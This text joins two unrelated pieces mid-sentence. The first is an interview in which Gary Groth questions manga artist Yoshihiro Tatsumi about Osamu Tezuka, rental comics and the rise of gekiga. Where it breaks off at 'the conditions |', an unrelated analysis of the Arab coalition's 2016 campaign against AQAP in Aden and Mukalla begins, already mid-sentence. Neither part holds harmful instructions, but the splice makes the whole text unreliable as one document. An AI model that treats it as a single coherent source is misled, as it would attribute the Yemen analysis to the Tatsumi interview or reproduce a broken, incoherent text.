TATSUMI: So I submitted something under my younger sister’s name, pretending to be a housewife, when I was 12. [Laughter.]
GROTH: Did you win?
TATSUMI: Yes, I won about $600. And he —
GROTH: Your sister won.
TATSUMI: Right. [Laughs.] Yeah, she asked for her cut. [Groth laughs.] So this contest ran in this women’s magazine that was published by the Asahi Shimbun [newspaper] Machiko Hasegawa, the author of Sanzae-San, wrote her criticism of the winning cartoons. She said that for a housewife author, this work that I wrote was unique. [Laughter.] It had something to do with — I can’t quite remember, but something about a drunk husband coming home and a wife getting angry at him. It was, in a way, a work of social criticism, and that was the first time I had drawn a comic that was critical in that way.
GROTH: Was it written from a woman’s point of view?
TATSUMI: Yes, right, I mean it was a woman’s magazine. I think it was called House Asahi or something.
GROTH: Was this domestic strip like Blondie as bad as Blondie?
TATSUMI: No, its not that bad, you know, the punch line is usually kind of a common one. It’s a comedy of errors sort of thing, but while Blondie focuses on the relationship between wife and husband, Sanzae-san depicts a strange and complex family structure, so there’s small children, a husband and wife, and grandparents involved. As a depiction of the family, its quite sophisticated and interesting, at least, so that’s why it was a big hit with families.
GROTH: And you did this submission of a sort of social criticism when you were 12?
TATSUMI: I was in eighth grade, so I was 12 or 13 maybe.
GROTH: My son is 12. [Laughter.]
TATSUMI: Is he making money for you yet?
GROTH: No, but I’m going to talk to him about this when I get home. [Laughter.]
TATSUMI: I feel for sorry for your son. [Laughter.]
GROTH: It occurs to me you had an enormous responsibility thrust on you at a very young age. Did you feel that your childhood was abbreviated?
TATSUMI: I don’t really feel that my childhood was abbreviated. I think that I played like any other child during that time. But we didn’t have a lot of forms of entertainment. Of course, we didn’t have a TV, and my family didn’t even have a radio at that time, and so what my friends and I did was to try and entertain ourselves in ways that didn’t cost any money. So we would play baseball, but of course, our ball would be made out of cloth, and our gloves were sewn by our mothers, and our bats would just be a two-by-four or a piece of wood we found in the street. But there was never a lack of space, because there was a lot of —
GROTH: The fields were bombed out?
TATSUMI: — bombed out [laughter] fields.
Yomiuri Shimbun used to run a magazine that was for boys called the Shonen Giants. Or Tokyo Giants. So one time, I submitted a comic to this magazine, Shonen Giants, something like, The Boy’s Giants [referring to a baseball team] and I won a nice leather baseball glove. But it was so embarrassing to bring it out to show my friends, because we were all playing with cloth gloves, that I never even had a chance to use it. I just kept it at home. I couldn’t bring it up.
GROTH: Because you didn’t want to be seen as too affluent.
TATSUMI: Right.
GROTH: Obviously I’ve been disabused of this here, but I thought your first published work was Children’s Island in 1952. Where does that work actually stand in your career?
TATSUMI: High school starts at ninth grade —
GROTH: Yes, so you’d be about 14 —
TATSUMI: — In 10th grade. So my second year in high school was when I created that work, Children’s Island. But it took a year for that to be published, so it came out when I was in my third year of my high school. But before that, when I was in ninth grade … I’m getting confused. Third year of junior high school would be …
GROTH: Well, we don’t have three years in junior, but that would probably be the ninth grade.
TATSUMI: When I was in ninth grade, this time I submitted the work to Mainichi Shimbun. Shimbun is “newspaper.” Manichi is “daily.” And they were running a special editorial, specifically for summer vacation about … the title was something like “Genius Comics Children.” It was about kids who were interested in comics. So I submitted a work, and they were interested in me, and one day this limousine with a flag on it pulls up to the front of my dilapidated house, and my mother thinks I’m being taken away to the police station. I was whisked away back to the newspaper offices, and we conducted interviews like this [interview]. This ties into the first time I met Osamu Tezuka. I was being interviewed, and the reporter asked me whose works I liked to read, and at the time I was reading a lot of works by Osamu Tezuka, and I said, “Boy, I really like Tezuka’s work.”
And the reporter said, “Oh, you like Tezuka, too.” And I felt that the reporter had this sort of re-recognition of the popularity of Tezuka in the Kansai area at the time.
GROTH: Kansai area?
TATSUMI: Kansai and Kanto. The Kansai area includes Kobe, Osaka and Kyoto, so it’s the western area, and Kanto is the eastern area, which includes Tokyo. And so the reporter told me that he actually knew Tezuka, and he asked me if I would like to meet him. And I said of course, he’s like a god to me. And that’s how I got to meet him for the first time.
GROTH: And you would have been about 15, 16 at the time?
TATSUMI: Fourteen, 15, I think.
GROTH: So at that age, you were recognizing the names of cartoonists, and following them that closely.
TATSUMI: There were other authors that I liked, but Tezuka at that time was overwhelmingly popular. And all of my friends really loved Tezuka’s works, and some of my friends had his books. But while Tezuka was working with stories, kind of longer works, I was still working with these four-panel comics. But I found out through the reporter that Tezuka was my neighbor; he only lived about 15 minutes away from my house. So starting in about 10th grade, I started to bring him my panel comics to have him critique my work. So I was bringing him all of these strips. He seemed slightly exasperated. I don’t know if maybe they just weren’t any good. He suggested that from now on, comic artists are going to need to make longer works. “So why don’t you try your hand at creating a story, a longer piece?”
So when I was in high school, I started to create short stories that were maybe 30 to 50 pages long. And of course that was in school and I had to go to class and everything. So it would take me about three months to come up with a 30-page piece. I would then bring those to Tezuka, and he would critique them, and I would rewrite them sometimes. But those works I never submitted; I kept them to myself. So in the second year of high school — that actually would be 11th grade, I created a longer work, about 96 pages, and around that time, Tezuka’s name had spread to Tokyo, and so he was becoming popular in the Kanto area as well. And then because I started to have publishers in that area, I had to move from Osaka to Tokyo.
GROTH: That was probably a greater industrial area with more commerce.
TATSUMI: Yes, they were completely different. Osaka was sort of known more for business, but compared to Tokyo, it lacked a sort of cultural —
GROTH: It wasn’t as cosmopolitan?
TATSUMI: Cosmopolitan, right. But also the publishing industry was much more centered in Tokyo. There were almost no publishing companies in Osaka at the time. And if there were, they were sort of specialized businesses that only pressed small numbers of books. But one area of publishing that did thrive in the Osaka and the Kansai area was the rental comics market. That started in Kobe, and by this time, it had spread to about 15,000 rental bookstores nationwide. But these were not very sophisticated publishers. There might have been a person who was running a vegetable stand, and suddenly they started publishing rental comic books. So that was the degree of sophistication. And many of the comic artists who were writing comics for these rental books, were former sign painters, who painted the boards for films or kamishibai. There was a thing in Japan where there were traveling candy sellers. And if you bought candy, they would tell you a story. And the way that the story was told was that there would be a frame like this, maybe a wooden frame, and you would have panels inside it. So he would show a picture, and the man would narrate a little bit, and then pull that one out, and then he would show the picture underneath. So the story would be on this side, right.
GROTH: And he would read it on that side.
TATSUMI: And he would read it on that side, and the story would progress like that. So people who ran that business, selling candy and telling stories, also turned into comic artists.
GROTH: Good comic artists?
TATSUMI: The stories that were told in this kamishibai thing tended to be violent and more explicit than the kind of stories that were… It was a low genre, basically. They would be horror stories or samurai stories. And they would be more violent, more explicit and somewhat more vulgar than the type of comics that you would find in Tokyo. So it definitely had its own flavor.
OK, now it’s coming together. So this 96-page work that I did, this first longer piece that I drew, that was the Children’s Island.
GROTH: Ah, it all comes together.
TATSUMI: With that work, I had to send it to Tezuka, because he was no longer in Osaka. So Tezuka critiqued it for me, sent it back to me, and then I sent it to this other cartoonist named Noboru Oshiro, and he passed the work on to a publisher in Tokyo, Ysuru Shobo. And that was how Children’s Island came to be published in 1952.
GROTH: I see. And what kind of story was it?
TATSUMI: It was about these children who were living on an abandoned island, and they make do to make their lives as normal as possible with the materials that they had, kind of like Lord of the Flies. But a complete children’s comic.
GROTH: Not as vicious as Lord of the Flies. Were Tezuka’s criticism of your work useful and productive? Was he a good critic?
TATSUMI: I‘m sorry. The Children’s Island, I didn’t send to Tezuka. I sent it to Oshiro. The only works that Tezuka critiqued of mine were the short panel stories. And his critiques were not that useful. It was, you know, this is good, this is not good. Since they were really short four-panel works, I wouldn’t rewrite them. If he said it was no good, then I would just come up with a new one. But Tezuka’s works were very useful to me, much more than his criticisms.
GROTH: Useful in the sense of understanding the mechanics of comics?
TATSUMI: I mean, certainly I was influenced by his drawing style, but more than that, what was most useful or influential to me was the fact that he seemed to be depicting a world that had never been depicted through comics before. So it was radically new to me.
GROTH: And that inspired you to do the same?
TATSUMI: I never thought that I could create a new world through my art, or that I could create a world like Tezuka’s. But it was more the possibility that comics have that his works made me realize, that you could do this kind of thing.
GROTH: Many American cartoonists had that kind of epiphany, where a single work allows them to see the possibilities of comics.
TATSUMI: I wasn’t interested in following in Tezuka’s footsteps, but I wanted to create a world of my own. But with my first work, this Children’s Island, was definitely influenced, strongly influenced in style by both Tezuka and Oshiro.
GROTH: When you say you wanted to create a world of your own, do you mean that you wanted to be an original, not to imitate anybody?
TATSUMI: Yes. So I didn’t want to make a work that would fall, you know, within Tezuka’s world. The world that I could create, perhaps it wouldn’t be as expansive as Tezuka’s world. But even if it was small, I wanted it to be my own.
FUNNY INTERLUDE
GROTH: [Distracted] There are way too many Americans here. What the fuck is this? There’s this endless string of old ladies. It’s like my worst nightmare. [Laughter.]
TATSUMI: We could go downstairs, unless they’re all going downstairs, and try to call Peggy and tell her that we’re …
GROTH: The restaurant’s right on the other side of the hotel. Do you want to have lunch?
TATSUMI: Yeah.
GROTH: Peggy would manage. You call it.
TRANSLATOR TARO NETTLETON: [Laughs.] He says he’s used to this kind of scene, because women traveling in groups is very popular in Japan. In fact, they’re everywhere you go.
GROTH: These are not the best conditions to do an interview in. This is weird.
BACK TO THE INTERVIEW
GROTH: We just moved to a restaurant, so we shall continue apace. I wanted to ask you if you considered Tezuka a mentor.
TATSUMI: I don’t know that he would have considered me his student, but I definitely considered him my mentor. So yes, I mean, he critiqued my works, I definitely thought of him as my mentor.
GROTH: Did you stay in touch with him over the years?
TATSUMI: There was about a five- or six-year period after he moved to Tokyo, when we didn’t have any contact. I moved to Tokyo myself about three years after Tezuka. And I was at a party that was thrown by a publisher, and I heard Tezuka’s voice getting closer and closer, but I got nervous and ran away from him. And part of the reason that I ran is that Tezuka had become an enormous figure since he had moved to Tokyo. He was not the same person that I was visiting in Osaka, but I also knew that the work that I was making at that time — I was creating violent works, which I knew was exactly the kind of work that Tezuka detested.
GROTH: I see.
TATSUMI: So I didn’t know how I would greet him or interact with him, if I had seen him.
GROTH: Was this the work known as gekiga? Or was it something else?
TATSUMI: Yes, this was already gekiga. At this time, Tezuka knew that there was this new genre of comics called gekiga coming out. And although he hadn’t read it, he asked his assistant apprentice, if he had read this gekiga work, and whether or not it was any good, and his assistant said yes, it’s wonderful. And Tezuka got so mad that he kicked him down a flight of stairs.
GROTH: [Laughs.]
TATSUMI: This was written in a biography by the assistant. [Tatsumi revises this story later in the interview.]
GROTH: Wow. How would you describe your relationship with him over the years? Did you become friends, or was it purely professional?
TATSUMI: After two or three years had passed, after I had run away from him at the party, Tezuka was starting to become less busy, and, I think he also felt … He started to realize that his own work was, in some ways, becoming more like gekiga style. And so he would call me every once in a while. But I couldn’t call him, because he has managers and assistants, and there was no way I could reach him directly. But every once in a while, he would call me, and we would talk. I definitely wouldn’t say that we were friends, because he’s older than I am, he’s my senior. But, I felt, at some point, that we were rivals in a way. I didn’t really talk to him about our works, really. But there were points when he worked on several autobiographies, and I would speak to him when he was working on those, to talk about our past.
GROTH: Did you continue to admire Tezuka’s work?
TATSUMI: After Tezuka moved to Tokyo and he started publishing works in magazines, I felt that his works became quite boring. And actually, at that point, my colleagues and I were all quite anti-Tezuka, and we were, if anything, determined to sort of take him down. I was quite disappointed in his work when he started to publish in magazines, because what I enjoyed about his works previously, when he was working with his paperbacks that were book-length works, the looseness, because there was more space, and it was also more playful. And as soon as he started to have to publish in much shorter stories — maybe it became three and eight pages, eight pages at the most with these magazine stories — there were more panels in each page, so the page would become very cluttered. And there was no flow between the panels. So I became quite disappointed in his work at that point.
Yesterday, I sat on a panel with five other authors and we discussed the difference between graphic novels and serialized works. This was basically the same idea about him, that I was interested in Tezuka’s graphic novels. But as soon as he started to publish these in a serialized format, I felt that they had turned into comics.
GROTH: So you felt that the reduction in space constipated his storytelling?
TATSUMI: It was claustrophobic.
GROTH: Yes, right, right, to the great detriment of his cartooning skills. Would that be accurate?
TATSUMI: At this time too, he was working with assistants. And I could tell, looking at his work, that it barely had any of his own —
GROTH: Line drawing?
TATSUMI: — line drawing in it. So there’s no way that I could positively evaluate a work like that.
GROTH: Yes. What did you think of Buddha, which is, I think, one of Tezuka’s later works, one he did near the end of his life?
TATSUMI: I’ve only really read it in pieces, so I can’t really say, but from what I’ve seen, you definitely get a window into Tezuka’s religious outlook. But I myself am not religious or Buddhist, and I think that it would be considered one of Tezuka’s major works, but at the same time, I think, as a work, at points, it’s quite boring. And in a way, I feel that the world he created is not a very Tezuka-like world. Buddha is already out in the States. I’m not going to say any more but — [laughs].
GROTH: I should probably preface this by saying I’m not an expert in Japanese comics, so some of my assumptions might be wrong, but apart from the drawing, it seems to me that your aesthetic sensibilities are antithetical. Tezuka’s seems light, frivolous, more commercial, whereas yours has an existential dimension that I don’t see in much of what I’m familiar with in Tezuka.
TATSUMI: I think that it makes perfect sense that you would see our works as being antithetical. Actually, that pleases me that you would see it that way. In filmic terms, Tezuka’s work is a Hollywood work, and while Tezuka’s greatest theme is love and humanity, my work focuses really on the other side of …
GROTH: The lack of love, the lack of humanity. [Laughter.] But, yes, much as I admire his cartooning, it does seem like Tezuka is more of a Spielberg, whereas you are more of an Ozu.
TATSUMI: Well, I like to watch Hollywood films for entertainment, but as far as what I found influential, it was mostly French and Italian films.
GROTH: Italian neorealist films, like Roberto Rossellini and —
TATSUMI: I don’t really remember the names of the directors, but I haven’t seen too many neorealist films. I’m not that familiar with Ozu’s work, either. I tend to like works by unknown directors.
GROTH: Come to think of it, Ozu is not a good analogy; Masaki Kobayashi would be closer to the mark. Do you know his work? He did a film called Sepukku.
TATSUMI: I’m not sure if I saw Seppuku, but I like Kurosawa’s work.
GROTH: Like High and Low, the period in the … Well, do you like both his samurai and his contemporary drama?
TATSUMI: I don’t really like his later works that much.
GROTH: You were a manga publisher in the ’50s, so naturally, I want to know how that came about. Did that come after you moved to Tokyo? And what kind of manga did you publish? Gekiga, or Tezuka’s kind, or some other kind?
TATSUMI: After I moved to Tokyo, I was essentially out of work. So I started my own publishing company out of necessity, primarily so I could continue publishing my own work. As I said before, a person who was running a vegetable stand could start a publishing company, so it didn’t require very much capital, and it so happened that at the time I had a friend who moved out from Tokyo who had just sold his house, so he was willing to put up the kind of start-up costs for a publishing company. I started a publishing company to continue to publish my works for the rental comic-book industry. But eventually, there weren’t any comic-book rental stores, so obviously, there was no distribution route left for me to use. Then I started to publish books that would be sold at regular retailers.
Maybe I didn’t touch on this, but the rental-books industry and the regular publishing industry had completely different systems set up. Different distributors. So I started to work with one of the major sales distributors, for publishing works in Tokyo, which also distributed all the mainstream publications. That meant I was publishing in larger numbers, but it also required more capital investment on my part. As they were publishing for mainstream distribution routes, and publishing in larger quantities, I could no longer afford to run the publishing business just by selling my own works. That’s when I started to ask other authors to contribute works. I would offer up collections of works by popular authors, other work that they had published in magazines. But this also meant because they were popular authors that I had to pay them quite a large sum of money for their works, so I went further and further into debt. I published books for about seven years. I went further and further into debt, and I was really at a point where I could not continue to run the business any more, but it was right around that time that the major comics magazines started to solicit work from me, like Shonen magazine and big comics. I think that in some ways those weeklies had seen the books that I was publishing and had evaluated them positively. So in the seven years, I published about 200 paperbacks, and of those, maybe 30 were my own works. And the rest were probably by about 20 different authors.
GROTH: The work of your own that you initially published for the rental market, was that gekiga?
TATSUMI: Yes, yes.
GROTH: Was that well received at the time?
TATSUMI: Well, the popularity of gekiga really declined along with the popularity of the rental comic-book business. So in those seven years that I was publishing, which mainly took part after the rental industry had started to collapse, most of the works I had published were not in the gekiga style.
GROTH: That you drew yourself?
TATSUMI: So now, my works were in the Gekiga style, but the majority of the works I published were by other authors, and so they encompassed works for kids that would be published in these weekly magazines for boys; there were also girls’ comics. So the majority of works were not gekiga, but my own work was.
GROTH: Did you publish work that you yourself weren’t fond of?
TATSUMI: Yes.
GROTH: How did you feel about having to do that?
TATSUMI: It was just a part of business, really. If I published the work that would sell, then that would make it easier on me financially. It was just business. But I think at the time, in general, my passion for comics had somewhat lessened.
GROTH: Why do you think your passion for comics diminished at the time?
TATSUMI: Because I felt that gekiga, and the rental comic-book industry, was being inextricably tied, so that I felt that meant that was the demise of gekiga as well. I felt that gekiga could only be articulated through longer works, through book-length works. I was afraid that was the end of gekiga.
GROTH: Your passion must have been resuscitated at some point not long after that.
TATSUMI: Around this time, when my passion for comics started lessening, about a year or two before I stopped publishing altogether, I was approached by a third-rate comic magazine that published erotic works. And while the pay was very small, and it was a third-rate magazine, I was able to do pretty much what I wanted, there was some freedom with what kind of work I could submit. And, although it was a third-rate magazine, the magazine had a very good editor, who had a very good understanding of comics. It was in this magazine that I published the eight-page stories that are collected in The Push Man.
GROTH: And what year would that have been?
TATSUMI: Nineteen-sixty-nine.
GROTH: That’s quite far from the ’50s, when you were a publisher.
TATSUMI: I was involved in publishing in the ’60s; I stopped publishing in ’71. I was publishing [my comics] in this third-rate magazine while I was still publishing. So around ’69.
GROTH: The information that I had was that you were a publisher in the ’50s. I must’ve found this on the Internet, so it’s suspect. I just want to get this straight.
TATSUMI: It was probably in the ’50s when I started drawing gekiga style. Nineteen-fifty-seven was the beginning of the book gekiga. So next year is the 50th anniversary. [Laughs.] And your magazine is on the 30th.
GROTH: Yes it is. I also wanted to know why gekiga was so much more popular in the rental market. Was it a class distinction? Was it a class issue?
TATSUMI: It wasn’t so much about the class of the consumers, but more about the structure of the business. Because the rental comic books were published at a much smaller scale. That meant that, combined with the fact that there were so many authors and so few editors, the works would sort of pass by the editors to the publishing stage with relatively little censorship or inspection. They would barely even read the work, and it would go straight to publishing, which meant that in terms of content, you could make and create whatever you wanted. That’s why they were able to write comics that were addressing people of their own age, rather than writing for children. And that would probably not have been possible in the Tokyo market, where they were more mainstream publications.
GROTH: I see, I see. So it’s regional to some extent.
TATSUMI: Yeah. But also the business structure was completely different.
GROTH: But if they proved popular, wouldn’t commercial publishers jump on that, like piranha on raw meat?
TATSUMI: Right.
GROTH: As they are wont to do?
TATSUMI: It was immensely so with the rental comic-book scene. There were, at the height of this industry, 30,000 comics-rental stores nationwide in Japan. But although the publishers and editors of the mainstream magazines liked gekiga, and knew it was popular, the content was still too violent for them to carry in their own publications.
I have a correction to make. Tezuka did not kick his assistant down the stairs.
GROTH: [Laughs.] Wait a minute, I liked that story.
TATSUMI: He got so mad that he fell down a flight of stairs, because he was so excited and angry.
GROTH: The earlier story is better.
TATSUMI: Yeah, I know it is. [Laughter.] For Tezuka, his own work is the pinnacle of comic-making, so the fact that any other work could be good, according to his assistant, just infuriated him — that any other work could be considered good was infuriating.
GROTH: Tezuka had a healthy ego. [Laughter.] Do you know if Tezuka kicked anyone down the flight of stairs, ever? [Laughter.]
So, the commercial publishers were simply skittish over the content of gekiga.
TATSUMI: There was some sense that this gekiga rental-comics thing would not last forever. That may have been part of the reason why the mainstream publishers wouldn’t have been involved either — because they assumed it would be a short-term sale.
GROTH: You started gekiga in 1957. There’s a missing six years between 1957 and 1963 when you started publishing. What did you do in that time?
TATSUMI: I was creating works primarily for the rental-books industry, in those six years. And I was publishing through this one publisher called Henomaru Publisher, and the president of this publishing company had aspirations to move to Tokyo. Masumi Kuoda brought the idea of publishing a collection of shorter works up to me, and so the publisher thought maybe this could lead to something else, primarily publishing a magazine, a monthly magazine in Tokyo. So he took this idea, and he started to run this collection of shorter works, which was then this book entitled Shadow, and this went on for about a decade. And it was really this format of the collection that became wildly popular at the time. And while I and my colleagues believed that gekiga was most suited to book-length works, and I certainly created book-length works at the time, it was these collections that were the most popular. And that’s really what spread gekiga style. These collected volumes were about 128 pages long, and they would come out each month, and at the height of their popularity there were hundreds of these collections coming out each month.
GROTH: And what inspired you to change direction from more commercial work, to work of a more intense and personal nature?
TATSUMI: I had seven colleagues, with whom I moved to Tokyo from Osaka. And we had a discussion about how we could promote our work, and at this time I was the only person doing this gekiga, and so one of my colleagues asked, “Could we all use this term gekiga, to kind of label our works? And that way we could promote and sell our work better when we go to Tokyo.” And so that was the decision to use the phrase. Actually, in terms of content, even before they started using this phrase gekiga, they were already working in that direction. And the name basically was adopted or used, because there was a need to distinguish the comics that I and my colleagues were working on from those comics that were meant for children. It created a category that helped guide how to shelve them in these rental bookstores. Although my own works were not that violent, some of my colleagues’ works were quite violent. So people started to feel that they shouldn’t be shelved with other comics that are for kids.
GROTH: What year did you move to Tokyo?
TATSUMI: Nineteen-fifty-seven.
GROTH: Was there a point at which you recognized that the medium was a serious medium of expression? Or was it an evolutionary part of your thought process?
TATSUMI: Two years prior to starting to do this gekiga, as an experiment, I created a longer piece that was drawn very roughly. And I was sure that the editors would turn it down, so I went, luckily, on a day when the editor wasn’t there, and I was sure that later on, I would hear that they couldn’t publish it. But, to my surprise, it went straight through, and it was published, and in fact it did quite well. I even heard from my colleagues that they really liked the piece, and that they felt that it expressed something new. It was at that point that I felt confident in this kind of new direction I was taking, as a more expressive kind of form.
GROTH: Was the content of this longer piece substantially different from what you had done previously?
TATSUMI: It wasn’t entirely different from my previous work. The previous genre I was working in was mainly detective stories, thrillers, that kind of thing. And with this experimental book-length work, I was dealing with everyday events, very familiar events, kind of everyday occurrences. Maybe, you know, a child would suddenly be involved in some sort of incident. But they were everyday occurrences. And since no one else was doing that kind of work at the time, I was sure that it would fail, but...
GROTH: Am I correct in inferring that comics were dominated by essentially children’s fare at the time?
TATSUMI: Yes.
GROTH: So this would be a radical departure from that?
TATSUMI: Well, yes, it was very different from the kind of mainstream comics. And the kind of content that my colleagues and I were creating was only possible in the rental-comics genre. And yes, the main difference was that we were addressing an audience of our own age. But I found out later, that many of our readers were laborers, workers who had recently moved to Tokyo from more rural areas, and found whatever jobs they could find. And also I heard — we couldn’t really research who were reading our works — but afterwards I found out that there were also a lot of prostitutes reading our works. [Laughs.]
GROTH: Was that a big market?
TATSUMI: Not yet. I would get some feedback when the distributors came to pick up the books from the publishers. They would tell them what kind of people were renting out the books. So I did have some indication of the fact that the readership was increasing in age.
It was in October of 1955 that I published my first self-conscious gekiga work, which was called “The Black Blizzard.”
GROTH: Now, between ’57, when you were in Tokyo, and 1969, when, I understand, that the stories in Push Man originally appeared —
TATSUMI: That’s correct, yeah.
GROTH: Were you doing longer stories, between ’57 and ’69? And then you had to start doing shorter stories, which appeared in a magazine called Gekiga Young, which was a young men’s magazine? Is that correct? I just want to make sure I get my facts straight.
TATSUMI: What was the name of it?
GROTH: Gekiga Young.
TATSUMI: Yes, almost all the works in The Push Man were published first in Gekiga Young. And I started to write these shorter pieces for magazines. Basically the rental book business collapsed. And then, I had to start writing for monthly and weekly magazines. That meant that I had to write these shorter pieces like the ones that are in Push Man. The ones that I wrote for this Gekiga Young, the pay was pretty poor, and the conditions |
, governance, and services long enough to overcome AQAP in the long battle for legitimacy in southern and eastern Yemen? The answer to these questions seems to be that the coalition has made a promising start and may have the right mindset and approaches to deal a serious blow to AQAP’s expansion plans, but only if both military and economic support can be sustained over the long term.
The Target: AQAP’s Mini-State in Yemen
AQAP has deep roots in southern Yemen, particularly the provinces of Aden, Abyan, and Shabwa, which encompass most of the territory between the port cities of Aden and Mukalla. The group began to indicate overt territorial ambitions even before the Yemeni state critically weakened during the Arab Spring uprisings in 2011. By the end of that year, AQAP had provided enough military assistance to enable its tribal allies to besiege a Yemeni Army brigade inside Zinjibar, the provincial capital of Abyan, necessitating a major U.S.-backed division-scale relief effort by the Yemeni military.
However, the 2011 fighting was merely AQAP’s dress rehearsal. The movement’s overrun of southern governorates during the Houthi attack on the Hadi government in April 2015 was the real deal. Since 2011, AQAP has recruited strongly and steadily from rural tribes, drawing in individuals rather than entire tribal units en masse. New quasi-military units of 30 to 100 men emerged, sporting names such as the “Sons of Abyan.” After April 2015, these movements overran and looted Yemeni Army bases and became the key behind-the-scenes actors in many neighborhoods in Aden and a range of other southern cities. Though notionally leaving local administrators in place and ordering populist social welfare measures, AQAP in fact began policing universities and began setting up extortion rackets in ports and along highways. AQAP also began hitting the Hadi government and, more recently, the Arab coalition’s headquarters in Aden and threatening the supply routes underpinning the coalition’s war against the Houthis.
In Mukalla, AQAP exploited the Yemeni Army’s collapse in 2014 to mount jailbreaks, one of which freed a cadre of 270 fighters that included its local leader Khaled Bartafi. They next raided the Mukalla central bank branch, netting an estimated $100 million in cash according to a Reuters investigation. As in Aden, AQAP ostensibly left local civilian administrators in place under the moniker of the “Hadramaut National Council” (HNC), but made numerous changes to local arrangements. AQAP abolished personal taxation of civilians and announced rebates. At the same time, AQAP mobilized boat patrols and extortion teams to extract fees from fuel and food importers at the ports, recycling some of the proceeds into well-publicized public works. Reuters reported that AQAP even sought to negotiate with the Yemeni government to authorize the export oil via AQAP-controlled ports at Mukalla and nearby Ash Shihr, with the government getting 75 percent of the take and the AQAP-led HNC pocketing the rest. The government refused, but the offer underlined the stark reality: AQAP was on the verge of developing an emirate at least as resilient and economically viable as anything the Islamic State had managed to build in Iraq, Syria, or Libya.
Clearing AQAP’s Militias out of Southern Cities
Destroying AQAP was clearly not the main aim in the Arab coalition’s intervention in Yemen — the priority was to prevent a Houthi military victory over the Hadi government — but the coalition did launch its anti-AQAP campaign at the earliest moment possible when the anti-Houthi war settled into a lull in February 2016 in anticipation of peace talks. In particular, the United Arab Emirates took responsibility for disrupting AQAP’s unsettling growth in Aden’s neighborhoods, ports, and universities, in effect vouchsafing the seat of Hadi’s government. Denying AQAP’s lucrative control of Mukalla’s ports and related oilfields was a second aim.
AQAP had shown itself adept at building coalitions; it would take a rival coalition to shake loose emerging AQAP control of the south. One factor that allowed rapid action against AQAP — and which hints at the yearlong preparation for such a move — was the major train and equip effort undertaken in Aden and Hadramaut. Emiratis have strong connections to southern Yemen, partly driven by the exodus of southern tribal members to the Trucial States (forerunner to the United Arab Emirates) during the socialist takeover of southern Yemen in the late 1960s. These include trading ties between families and the widespread absorption of Yemeni-born personnel into the UAE police and security forces. When tribal leaders relocated away from Aden and Mukalla in April 2015, many went to the Emirates. These factors aided the Arab coalition in undertaking patient key leader engagements with Yemeni Army leaders and tribal councils from southern Yemen throughout 2015.
According to interviews I conducted with contacts in Yemen, the coalition worked from April 2015 onward to build a large force (eventually boasting 12,000 men) to undertake the liberation of Mukalla and the oilfields in Masila. This included courting the generals leading the 1st and 2nd Military Regional Commands (MRCs) in northern Hadramaut and Mukalla, which netted 6,500 Yemeni troops in need of ammunition but otherwise combat-ready. The coalition also armed the 1,500-strong Hadramaut Tribal Confederation (HTC), a rural tribal force that the United Arab Emirates mounted in Caiman and Reva mine-resistant ambush-protected (MRAP) vehicles and armed with disposable anti-tank rockets to provide anti-armor protection. Finally, the coalition also developed a patchwork of nearly 4,000 tribal rebels from within Mukalla proper known as the “inside resistance,” some of whom remained in the city until launching uprisings, some of which left Mukalla to be armed before reinsertion into the city. A flotilla of 10 armed patrol boats was also sponsored by the U.A.E. Navy and given offshore support by surface ships. In all these cases, the coalition focused less on building highly proficient or well-armed forces than on working with determined allies who would follow simple instructions that accorded to a loose U.A.E.-developed plan.
The coalition’s train-and-equip effort took a different approach in Aden, where the challenge was smaller in scale and closer to a traditional urban counter-terrorism mission. Contacts in Aden told me that the coalition first focused on incorporating Aden fighters into new Yemeni Army units to participate in the anti-Houthi battles north of the city. Rear area security in Aden was partly overlooked to meet the exigencies of the desperate battles against the Houthis. Local Aden residents were underused as the coalition hunkered down in its fortified headquarters in Aden. This changed in February 2016, when the coalition chose to develop a rudimentary Yemeni counter-terrorism force in Aden comprised of six 100-man units mounted in U.A.E.-provided Nimr armored trucks. This force was cued onto targeting packets produced by the coalition and Yemeni military in Aden. The U.A.E. provision of armored vehicles was intended to give the force a high local status and the confidence to work in tough neighborhoods.
Find, Fix, and Finish?
The “find and fix” aspect of the intelligence war remains appropriately shrouded in secrecy, but it appears that the process used against AQAP in Yemen is both effective and worthy of future study. The coalition has significant organic intelligence, surveillance, and reconnaissance (ISR) assets dedicated to the anti-AQAP effort. In addition to helicopters and turboprop surveillance aircraft, the coalition executes numerous daily sorties using fixed-wing forward air controllers using advanced optical pods and ground-search radar, and it also deploys a number of types of unmanned aerial vehicles capable of operating 200 to 250 kilometers from their ground control stations. U.S. and international signals intelligence and other remote sensing is likely to be shared with the coalition as well. But aside from these technical intelligence collection assets, my conversations with contacts in the Gulf suggest the coalition routinely develops granular human intelligence to complement technical intelligence.
Detailed targeting lists were compiled ahead of raids and strikes in both the Aden and Mukalla efforts. In the former city, the coalition mounted a range of airstrikes and naval gunfire missions against specific urban locations, then launched coordinated raids undertaken by the six 100-man local units operating alongside U.A.E. special forces and Apache gunships. In Mukalla, a similar “shock and awe” aerial and naval gunfire targeting effort against key AQAP locations preceded the main ground operation to clear the city. Thereafter, the port city was attacked by motorized infantry forces along three land axes, subjected to close blockade by the U.A.E.-backed patrol boat flotilla, and attacked from seaward by a company-sized U.A.E. marine unit mounted in amphibious infantry fighting vehicles. These operations were detailed in a recent article published by Alex Mello and myself for the Washington Institute.
In addition to dislodging AQAP-backed forces from key towns, ports, oilfields, and roads, the coalition claims to have killed 450 enemy troops in Mukalla, 120 in Aden, and 220 in other operations along the southern coast between February and May 2016. AQAP claims to have dispersed its forces without suffering much damage, and many indications exist that intact AQAP cadres escaped from Aden and Mukalla to rally in nearby rural redoubts. Even if AQAP did slip away, and even if coalition casualty estimates are halved or quartered, the key point is that AQAP tried and failed to defend Mukalla, thereby losing the prestige and riches of controlling major ports and oilfields.
Holding and Building Better than AQAP
Disrupting AQAP’s ability to openly control areas of Aden or Mukalla are worthy achievements, but such operations cannot permanently clear these areas of the enemy. The Yemeni government will only be able to reduce AQAP’s ability to recruit tribesmen and operate freely if local people see the government as a more powerful, beneficial partner. Continuing on from clearance operations, the next challenges will be to hold liberated areas and to build new alliances and infrastructure for basic services.
The “hold forces” for liberated areas comprise military forces from the Military Regional Commands and the Hadramaut Tribal Confederation in rural areas, plus “inside resistance” forces from the cities that are being absorbed into new roughly hewn police forces in Aden and Mukalla. As AQAP drew relatively little support from the cities, the numbers of local people killed by the liberating forces was low, reducing the need for local reconciliation. The civilian administrators left in place by AQAP can also stay in place under restored Yemeni government authority.
